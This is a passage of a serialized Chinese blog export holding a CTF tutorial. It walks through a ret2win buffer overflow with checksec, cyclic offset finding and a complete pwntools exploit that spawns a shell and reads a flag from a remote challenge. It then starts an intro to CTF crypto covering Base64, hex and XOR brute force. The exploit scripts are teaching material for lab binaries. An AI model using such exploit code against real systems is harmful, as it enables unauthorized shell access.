./vuln\n",[19,2577,2578],{"__ignoreMap":107},[111,2579,2580,2583,2586],{"class":113,"line":114},[111,2581,2582],{"class":117},"pwn",[111,2584,2585],{"class":121}," checksec",[111,2587,2588],{"class":121}," ./vuln\n",[15,2590,351],{},[102,2592,2595],{"className":2593,"code":2594,"language":191,"meta":107},[189],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[19,2596,2594],{"__ignoreMap":107},[15,2598,2599],{},"只看三行：",[32,2601,2602,2614],{},[35,2603,2604],{},[38,2605,2606,2609,2611],{},[41,2607,2608],{},"行",[41,2610,1513],{},[41,2612,2613],{},"对我们意味着什么",[51,2615,2616,2629,2642],{},[38,2617,2618,2623,2626],{},[56,2619,2620],{},[19,2621,2622],{},"Stack: No canary found",[56,2624,2625],{},"没有栈金丝雀",[56,2627,2628],{},"可以直接覆盖返回地址",[38,2630,2631,2636,2639],{},[56,2632,2633],{},[19,2634,2635],{},"NX: NX enabled",[56,2637,2638],{},"栈不可执行",[56,2640,2641],{},"不能放 shellcode（本阶段先不管）",[38,2643,2644,2649,2652],{},[56,2645,2646],{},[19,2647,2648],{},"PIE: No PIE",[56,2650,2651],{},"程序地址固定",[56,2653,2654,2657],{},[19,2655,2656],{},"win"," 的地址可以直接写进 payload",[10,2659,2661],{"id":2660},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2663,2664,2667],{},[19,2665,2666],{},"vuln"," 被调用时栈上自低到高：",[102,2669,2672],{"className":2670,"code":2671,"language":191,"meta":107},[189],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[19,2673,2671],{"__ignoreMap":107},[15,2675,2676,2677,2680],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[19,2678,2679],{},"cyclic"," 验证：",[102,2682,2684],{"className":431,"code":2683,"language":433,"meta":107,"style":107},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[19,2685,2686,2691,2695,2700,2705,2710,2715,2720,2725,2730,2735,2740,2745],{"__ignoreMap":107},[111,2687,2688],{"class":113,"line":114},[111,2689,2690],{},"from pwn import *\n",[111,2692,2693],{"class":113,"line":140},[111,2694,452],{"emptyLinePlaceholder":451},[111,2696,2697],{"class":113,"line":448},[111,2698,2699],{},"p = process('./vuln')\n",[111,2701,2702],{"class":113,"line":455},[111,2703,2704],{},"p.sendline(cyclic(200))\n",[111,2706,2707],{"class":113,"line":461},[111,2708,2709],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[111,2711,2712],{"class":113,"line":467},[111,2713,2714],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[111,2716,2717],{"class":113,"line":473},[111,2718,2719],{},"p.wait()\n",[111,2721,2722],{"class":113,"line":479},[111,2723,2724],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[111,2726,2727],{"class":113,"line":484},[111,2728,2729],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[111,2731,2732],{"class":113,"line":490},[111,2733,2734],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[111,2736,2737],{"class":113,"line":496},[111,2738,2739],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[111,2741,2742],{"class":113,"line":502},[111,2743,2744],{},"print(offset)\n",[111,2746,2747],{"class":113,"line":508},[111,2748,2749],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2751,351,2752,27],{},[19,2753,2754],{},"40",[10,2756,2758],{"id":2757},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[154,2760,2762],{"id":2761},"api-1elf读符号地址","API 1：ELF——读符号地址",[102,2764,2766],{"className":431,"code":2765,"language":433,"meta":107,"style":107},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[19,2767,2768,2772,2776,2781,2786,2791,2796],{"__ignoreMap":107},[111,2769,2770],{"class":113,"line":114},[111,2771,2690],{},[111,2773,2774],{"class":113,"line":140},[111,2775,452],{"emptyLinePlaceholder":451},[111,2777,2778],{"class":113,"line":448},[111,2779,2780],{},"elf = ELF('./vuln')\n",[111,2782,2783],{"class":113,"line":455},[111,2784,2785],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[111,2787,2788],{"class":113,"line":461},[111,2789,2790],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[111,2792,2793],{"class":113,"line":467},[111,2794,2795],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[111,2797,2798],{"class":113,"line":473},[111,2799,2800],{},"print(hex(elf.symbols['win']))\n",[15,2802,351],{},[102,2804,2807],{"className":2805,"code":2806,"language":191,"meta":107},[189],"0x401176\n",[19,2808,2806],{"__ignoreMap":107},[154,2810,2812],{"id":2811},"api-2process启动程序","API 2：process——启动程序",[102,2814,2815],{"className":431,"code":2699,"language":433,"meta":107,"style":107},[19,2816,2817],{"__ignoreMap":107},[111,2818,2819],{"class":113,"line":114},[111,2820,2699],{},[15,2822,2823,2824,918,2827,2830],{},"启动本地进程，之后用 ",[19,2825,2826],{},"p.sendline()",[19,2828,2829],{},"p.recvuntil()"," 交互。远程题目改成：",[102,2832,2834],{"className":431,"code":2833,"language":433,"meta":107,"style":107},"p = remote('1.2.3.4', 10001)\n",[19,2835,2836],{"__ignoreMap":107},[111,2837,2838],{"class":113,"line":114},[111,2839,2833],{},[154,2841,2843],{"id":2842},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[102,2845,2847],{"className":431,"code":2846,"language":433,"meta":107,"style":107},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[19,2848,2849,2854,2859,2864,2869,2874,2879,2884],{"__ignoreMap":107},[111,2850,2851],{"class":113,"line":114},[111,2852,2853],{},"payload = b'A' * 40 + p64(0x401176)\n",[111,2855,2856],{"class":113,"line":140},[111,2857,2858],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[111,2860,2861],{"class":113,"line":448},[111,2862,2863],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[111,2865,2866],{"class":113,"line":455},[111,2867,2868],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[111,2870,2871],{"class":113,"line":461},[111,2872,2873],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[111,2875,2876],{"class":113,"line":467},[111,2877,2878],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[111,2880,2881],{"class":113,"line":473},[111,2882,2883],{},"p.sendline(payload)\n",[111,2885,2886],{"class":113,"line":479},[111,2887,2888],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2890,2891,2894,2895,2898],{},[19,2892,2893],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[19,2896,2897],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2900,2902],{"id":2901},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2904,2905,2907],{},[24,2906,162],{},"：把前三步串成完整 exploit。",[15,2909,2910,2912],{},[24,2911,292],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[102,2914,2916],{"className":431,"code":2915,"language":433,"meta":107,"style":107},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[19,2917,2918,2922,2926,2930,2934,2938,2943,2948,2953,2958,2962,2967,2972,2977],{"__ignoreMap":107},[111,2919,2920],{"class":113,"line":114},[111,2921,2690],{},[111,2923,2924],{"class":113,"line":140},[111,2925,452],{"emptyLinePlaceholder":451},[111,2927,2928],{"class":113,"line":448},[111,2929,2780],{},[111,2931,2932],{"class":113,"line":455},[111,2933,2699],{},[111,2935,2936],{"class":113,"line":461},[111,2937,452],{"emptyLinePlaceholder":451},[111,2939,2940],{"class":113,"line":467},[111,2941,2942],{},"p.recvuntil(b'name?')\n",[111,2944,2945],{"class":113,"line":473},[111,2946,2947],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[111,2949,2950],{"class":113,"line":479},[111,2951,2952],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[111,2954,2955],{"class":113,"line":484},[111,2956,2957],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[111,2959,2960],{"class":113,"line":490},[111,2961,2883],{},[111,2963,2964],{"class":113,"line":496},[111,2965,2966],{},"# 触发溢出：覆盖返回地址为 win。\n",[111,2968,2969],{"class":113,"line":502},[111,2970,2971],{},"p.interactive()\n",[111,2973,2974],{"class":113,"line":508},[111,2975,2976],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[111,2978,2979],{"class":113,"line":514},[111,2980,2981],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,2983,2984],{},"预期结果：",[102,2986,2989],{"className":2987,"code":2988,"language":191,"meta":107},[189],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[19,2990,2988],{"__ignoreMap":107},[15,2992,2993,2994,2997,2998,3001],{},"程序跳到了 ",[19,2995,2996],{},"win()","，执行 ",[19,2999,3000],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3003,3005],{"id":3004},"八必学工具","八、必学工具",[32,3007,3008,3020],{},[35,3009,3010],{},[38,3011,3012,3014,3017],{},[41,3013,872],{},[41,3015,3016],{},"3 个核心功能",[41,3018,3019],{},"示例",[51,3021,3022,3049,3062],{},[38,3023,3024,3027,3046],{},[56,3025,3026],{},"pwntools",[56,3028,3029,3032,3033,1030,3035,3038,3039,3041,3042,3045],{},[19,3030,3031],{},"ELF()"," 读符号、",[19,3034,2679],{},[19,3036,3037],{},"cyclic_find"," 找偏移、",[19,3040,2893],{},"+",[19,3043,3044],{},"sendline"," 构造发送",[56,3047,3048],{},"见上文",[38,3050,3051,3054,3057],{},[56,3052,3053],{},"checksec",[56,3055,3056],{},"查看栈保护、NX、PIE",[56,3058,3059],{},[19,3060,3061],{},"pwn checksec ./vuln",[38,3063,3064,3067,3070],{},[56,3065,3066],{},"GDB（+pwndbg）",[56,3068,3069],{},"断点、看栈、单步",[56,3071,3072,918,3075,918,3078],{},[19,3073,3074],{},"break vuln",[19,3076,3077],{},"x/20gx $rsp",[19,3079,3080],{},"continue",[10,3082,3084],{"id":3083},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3086,946,3087,3090,3091,27],{},[19,3088,3089],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[19,3092,2666],{},[15,3094,3095],{},"第一步，本地验证：",[102,3097,3099],{"className":104,"code":3098,"language":106,"meta":107,"style":107},"python3 exploit.py\n",[19,3100,3101],{"__ignoreMap":107},[111,3102,3103,3106],{"class":113,"line":114},[111,3104,3105],{"class":117},"python3",[111,3107,3108],{"class":121}," exploit.py\n",[15,3110,3111,3112,3115,3116,3119],{},"第二步，把 ",[19,3113,3114],{},"process('./vuln')"," 改成 ",[19,3117,3118],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3121,3122,3124],{},[24,3123,162],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3126,3127,3129],{},[24,3128,168],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[102,3131,3133],{"className":431,"code":3132,"language":433,"meta":107,"style":107},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[19,3134,3135,3139,3143,3147,3151,3156,3161,3165,3169,3173,3178,3183],{"__ignoreMap":107},[111,3136,3137],{"class":113,"line":114},[111,3138,2690],{},[111,3140,3141],{"class":113,"line":140},[111,3142,452],{"emptyLinePlaceholder":451},[111,3144,3145],{"class":113,"line":448},[111,3146,2780],{},[111,3148,3149],{"class":113,"line":455},[111,3150,2833],{},[111,3152,3153],{"class":113,"line":461},[111,3154,3155],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[111,3157,3158],{"class":113,"line":467},[111,3159,3160],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[111,3162,3163],{"class":113,"line":473},[111,3164,452],{"emptyLinePlaceholder":451},[111,3166,3167],{"class":113,"line":479},[111,3168,2957],{},[111,3170,3171],{"class":113,"line":484},[111,3172,2883],{},[111,3174,3175],{"class":113,"line":490},[111,3176,3177],{},"p.sendline(b'cat flag')\n",[111,3179,3180],{"class":113,"line":496},[111,3181,3182],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[111,3184,3185],{"class":113,"line":502},[111,3186,2971],{},[15,3188,351],{},[102,3190,3193],{"className":3191,"code":3192,"language":191,"meta":107},[189],"flag{ret2win}\n",[19,3194,3192],{"__ignoreMap":107},[10,3196,3198],{"id":3197},"十小结","十、小结",[15,3200,3201,3202,3204,3205,3207,3208,3210],{},"Pwn 入门主线：",[19,3203,3053],{}," 判断能不能直接打 → ",[19,3206,2679],{}," 确定偏移 → ",[19,3209,2893],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1035,3212,3213],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":107,"searchDepth":140,"depth":140,"links":3215},[3216,3217,3218,3219,3220,3221,3222,3223,3224,3225],{"id":2369,"depth":448,"text":2370},{"id":99,"depth":448,"text":100},{"id":2416,"depth":448,"text":2417},{"id":2559,"depth":448,"text":2560},{"id":2660,"depth":448,"text":2661},{"id":2757,"depth":448,"text":2758},{"id":2901,"depth":448,"text":2902},{"id":3004,"depth":448,"text":3005},{"id":3083,"depth":448,"text":3084},{"id":3197,"depth":448,"text":3198},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1051,"image":3228,"alt":3229,"tags":3230,"published":451},"/blogs-img/blog2.png","CTF Pwn 入门",[1055,2582,2357],"/blogs/ctf-pwn-overview",{"title":2364,"description":3226},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3236,"title":3237,"body":3238,"description":4225,"extension":1049,"meta":4226,"navigation":451,"ogImage":4227,"path":4231,"seo":4232,"stem":4233,"__hash__":4234},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3239,"toc":4215},[3240,3244,3247,3315,3318,3404,3406,3412,3415,3439,3441,3447,3449,3469,3479,3483,3494,3498,3503,3547,3549,3555,3559,3564,3577,3650,3652,3658,3664,3668,3674,3705,3709,3712,3776,3778,3784,3788,3792,3795,3799,3804,3809,3850,3854,3976,3978,3984,3994,3996,4000,4003,4041,4045,4074,4078,4081,4110,4112,4118,4122,4125,4130,4133,4141,4200,4202,4207,4209,4212],[10,3241,3243],{"id":3242},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3245,3246],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[32,3248,3249,3262],{},[35,3250,3251],{},[38,3252,3253,3256,3259],{},[41,3254,3255],{},"编码",[41,3257,3258],{},"现实应用",[41,3260,3261],{},"例子",[51,3263,3264,3281,3300],{},[38,3265,3266,3269,3272],{},[56,3267,3268],{},"Base64",[56,3270,3271],{},"邮件附件（MIME）、JWT 令牌、Data URI",[56,3273,3274,3277,3278],{},[19,3275,3276],{},"ZmxhZw=="," → ",[19,3279,3280],{},"flag",[38,3282,3283,3286,3293],{},[56,3284,3285],{},"Hex",[56,3287,3288,3289,3292],{},"颜色值 ",[19,3290,3291],{},"#FF0000","、MAC 地址、哈希摘要",[56,3294,3295,3277,3298],{},[19,3296,3297],{},"666c6167",[19,3299,3280],{},[38,3301,3302,3305,3308],{},[56,3303,3304],{},"URL 编码",[56,3306,3307],{},"浏览器地址栏中的中文与特殊字符",[56,3309,3310,3277,3313],{},[19,3311,3312],{},"%66%6c%61%67",[19,3314,3280],{},[15,3316,3317],{},"先运行最小的解码例子：",[102,3319,3321],{"className":431,"code":3320,"language":433,"meta":107,"style":107},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[19,3322,3323,3328,3333,3337,3342,3347,3352,3356,3361,3366,3371,3375,3380,3385,3390,3394,3399],{"__ignoreMap":107},[111,3324,3325],{"class":113,"line":114},[111,3326,3327],{},"import base64\n",[111,3329,3330],{"class":113,"line":140},[111,3331,3332],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[111,3334,3335],{"class":113,"line":448},[111,3336,452],{"emptyLinePlaceholder":451},[111,3338,3339],{"class":113,"line":455},[111,3340,3341],{},"print(base64.b64encode(b\"flag\"))\n",[111,3343,3344],{"class":113,"line":461},[111,3345,3346],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[111,3348,3349],{"class":113,"line":467},[111,3350,3351],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[111,3353,3354],{"class":113,"line":473},[111,3355,452],{"emptyLinePlaceholder":451},[111,3357,3358],{"class":113,"line":479},[111,3359,3360],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[111,3362,3363],{"class":113,"line":484},[111,3364,3365],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[111,3367,3368],{"class":113,"line":490},[111,3369,3370],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[111,3372,3373],{"class":113,"line":496},[111,3374,452],{"emptyLinePlaceholder":451},[111,3376,3377],{"class":113,"line":502},[111,3378,3379],{},"print(bytes.fromhex(\"666c6167\"))\n",[111,3381,3382],{"class":113,"line":508},[111,3383,3384],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[111,3386,3387],{"class":113,"line":514},[111,3388,3389],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[111,3391,3392],{"class":113,"line":520},[111,3393,452],{"emptyLinePlaceholder":451},[111,3395,3396],{"class":113,"line":526},[111,3397,3398],{},"print(b\"flag\".hex())\n",[111,3400,3401],{"class":113,"line":532},[111,3402,3403],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3405,185],{},[102,3407,3410],{"className":3408,"code":3409,"language":191,"meta":107},[189],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[19,3411,3409],{"__ignoreMap":107},[15,3413,3414],{},"URL 编码：",[102,3416,3418],{"className":431,"code":3417,"language":433,"meta":107,"style":107},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[19,3419,3420,3425,3429,3434],{"__ignoreMap":107},[111,3421,3422],{"class":113,"line":114},[111,3423,3424],{},"from urllib.parse import quote, unquote\n",[111,3426,3427],{"class":113,"line":140},[111,3428,452],{"emptyLinePlaceholder":451},[111,3430,3431],{"class":113,"line":448},[111,3432,3433],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[111,3435,3436],{"class":113,"line":455},[111,3437,3438],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3440,185],{},[102,3442,3445],{"className":3443,"code":3444,"language":191,"meta":107},[189],"%E4%BD%A0%E5%A5%BD\nflag\n",[19,3446,3444],{"__ignoreMap":107},[10,3448,100],{"id":99},[102,3450,3452],{"className":104,"code":3451,"language":106,"meta":107,"style":107},"pip3 install pycryptodome sympy gmpy2\n",[19,3453,3454],{"__ignoreMap":107},[111,3455,3456,3458,3460,3463,3466],{"class":113,"line":114},[111,3457,143],{"class":117},[111,3459,122],{"class":121},[111,3461,3462],{"class":121}," pycryptodome",[111,3464,3465],{"class":121}," sympy",[111,3467,3468],{"class":121}," gmpy2\n",[15,3470,3471,3472],{},"浏览器打开 CyberChef（",[3473,3474,3478],"a",{"href":3475,"rel":3476},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3477],"nofollow","https://gchq.github.io/CyberChef）。",[10,3480,3482],{"id":3481},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3484,3485,3486,3489,3490,3493],{},"异或的性质：",[19,3487,3488],{},"A ^ B = C","，且 ",[19,3491,3492],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[154,3495,3497],{"id":3496},"_31-加密","3.1 加密",[15,3499,3500,3502],{},[24,3501,162],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[102,3504,3506],{"className":431,"code":3505,"language":433,"meta":107,"style":107},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[19,3507,3508,3513,3518,3522,3527,3532,3537,3542],{"__ignoreMap":107},[111,3509,3510],{"class":113,"line":114},[111,3511,3512],{},"plain = b\"flag{xor_is_easy}\"\n",[111,3514,3515],{"class":113,"line":140},[111,3516,3517],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[111,3519,3520],{"class":113,"line":448},[111,3521,452],{"emptyLinePlaceholder":451},[111,3523,3524],{"class":113,"line":455},[111,3525,3526],{},"cipher = bytes([b ^ key for b in plain])\n",[111,3528,3529],{"class":113,"line":461},[111,3530,3531],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[111,3533,3534],{"class":113,"line":467},[111,3535,3536],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[111,3538,3539],{"class":113,"line":473},[111,3540,3541],{},"print(cipher.hex())\n",[111,3543,3544],{"class":113,"line":479},[111,3545,3546],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3548,185],{},[102,3550,3553],{"className":3551,"code":3552,"language":191,"meta":107},[189],"242e2325393a2d301d2b311d2723313b3f\n",[19,3554,3552],{"__ignoreMap":107},[154,3556,3558],{"id":3557},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3560,3561,3563],{},[24,3562,162],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3565,3566,3568,3569,3572,3573,3576],{},[24,3567,292],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[19,3570,3571],{},"flag{"," 开头，这就是天然的判据。用 ",[19,3574,3575],{},"b\"flag{\" in plain"," 过滤即可。",[102,3578,3580],{"className":431,"code":3579,"language":433,"meta":107,"style":107},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[19,3581,3582,3587,3592,3596,3601,3606,3611,3616,3621,3626,3631,3636,3641,3645],{"__ignoreMap":107},[111,3583,3584],{"class":113,"line":114},[111,3585,3586],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[111,3588,3589],{"class":113,"line":140},[111,3590,3591],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[111,3593,3594],{"class":113,"line":448},[111,3595,452],{"emptyLinePlaceholder":451},[111,3597,3598],{"class":113,"line":455},[111,3599,3600],{},"for k in range(256):\n",[111,3602,3603],{"class":113,"line":461},[111,3604,3605],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[111,3607,3608],{"class":113,"line":467},[111,3609,3610],{},"    plain = bytes([b ^ k for b in cipher])\n",[111,3612,3613],{"class":113,"line":473},[111,3614,3615],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[111,3617,3618],{"class":113,"line":479},[111,3619,3620],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[111,3622,3623],{"class":113,"line":484},[111,3624,3625],{},"    if b\"flag{\" in plain:\n",[111,3627,3628],{"class":113,"line":490},[111,3629,3630],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[111,3632,3633],{"class":113,"line":496},[111,3634,3635],{},"        print(\"key =\", k)           # 输出密钥数值\n",[111,3637,3638],{"class":113,"line":502},[111,3639,3640],{},"        print(plain.decode())       # 输出解密出的明文\n",[111,3642,3643],{"class":113,"line":508},[111,3644,797],{},[111,3646,3647],{"class":113,"line":514},[111,3648,3649],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3651,185],{},[102,3653,3656],{"className":3654,"code":3655,"language":191,"meta":107},[189],"key = 66\nflag{xor_is_easy}\n",[19,3657,3655],{"__ignoreMap":107},[15,3659,3660,3661,3663],{},"判断依据：明文包含 ",[19,3662,3571],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[154,3665,3667],{"id":3666},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3669,3670,3671,293],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[19,3672,3673],{},"xortool",[102,3675,3677],{"className":104,"code":3676,"language":106,"meta":107,"style":107},"pip install xortool\nxortool -x -c 20 